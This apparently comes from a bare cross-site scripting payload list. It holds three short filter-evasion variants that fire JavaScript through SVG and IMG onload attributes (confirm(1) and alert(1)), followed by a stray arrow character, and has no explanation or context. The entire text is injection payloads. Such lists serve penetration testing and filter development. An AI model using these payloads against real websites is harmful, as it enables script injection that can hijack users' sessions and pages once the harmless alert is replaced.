Svg/onload=confirm(1)
Img Onload='confirm(1)
" Svg Onload=alert(1) "
↑